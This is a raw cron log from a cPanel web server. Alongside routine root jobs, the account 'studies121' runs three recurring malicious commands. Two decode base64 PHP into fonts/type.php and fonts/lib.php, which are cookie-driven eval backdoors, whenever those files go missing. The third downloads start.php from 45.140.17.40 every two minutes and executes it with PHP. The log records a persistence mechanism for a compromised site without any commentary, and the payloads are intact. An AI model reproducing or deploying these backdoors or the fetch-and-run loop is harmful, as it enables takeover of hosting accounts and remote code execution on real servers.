Sep 12 05:30:02 ip-184-168-122-23 CROND[3764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:30:02 ip-184-168-122-23 CROND[3769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3773]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:30:02 ip-184-168-122-23 CROND[3780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:30:02 ip-184-168-122-23 CROND[3783]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 12 05:31:01 ip-184-168-122-23 CROND[3999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:31:01 ip-184-168-122-23 CROND[4002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:31:01 ip-184-168-122-23 CROND[4000]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:31:01 ip-184-168-122-23 CROND[4001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:31:01 ip-184-168-122-23 CROND[4003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:32:01 ip-184-168-122-23 CROND[4127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:32:01 ip-184-168-122-23 CROND[4129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:32:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:32:01 ip-184-168-122-23 CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:32:01 ip-184-168-122-23 CROND[4132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:33:01 ip-184-168-122-23 CROND[4251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:33:01 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:33:01 ip-184-168-122-23 CROND[4254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:33:01 ip-184-168-122-23 CROND[4255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:34:01 ip-184-168-122-23 CROND[4377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:34:01 ip-184-168-122-23 CROND[4379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:34:01 ip-184-168-122-23 CROND[4380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:34:01 ip-184-168-122-23 CROND[4381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:34:01 ip-184-168-122-23 CROND[4382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:35:01 ip-184-168-122-23 CROND[4469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4471]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4476]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:35:01 ip-184-168-122-23 CROND[4472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:35:01 ip-184-168-122-23 CROND[4477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:36:01 ip-184-168-122-23 CROND[4679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:36:01 ip-184-168-122-23 CROND[4680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:36:01 ip-184-168-122-23 CROND[4684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:36:01 ip-184-168-122-23 CROND[4685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:36:01 ip-184-168-122-23 CROND[4686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:37:01 ip-184-168-122-23 CROND[4800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:37:01 ip-184-168-122-23 CROND[4802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:37:01 ip-184-168-122-23 CROND[4804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:37:01 ip-184-168-122-23 CROND[4803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:38:01 ip-184-168-122-23 CROND[4955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:38:01 ip-184-168-122-23 CROND[4959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:38:01 ip-184-168-122-23 CROND[4957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:38:01 ip-184-168-122-23 CROND[4958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:38:01 ip-184-168-122-23 CROND[4960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:39:01 ip-184-168-122-23 CROND[5074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:39:01 ip-184-168-122-23 CROND[5076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:39:01 ip-184-168-122-23 CROND[5075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:39:01 ip-184-168-122-23 CROND[5079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:39:01 ip-184-168-122-23 CROND[5078]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:40:01 ip-184-168-122-23 CROND[5196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:40:01 ip-184-168-122-23 CROND[5205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:41:01 ip-184-168-122-23 CROND[5376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:41:01 ip-184-168-122-23 CROND[5378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:41:01 ip-184-168-122-23 CROND[5379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:41:01 ip-184-168-122-23 CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
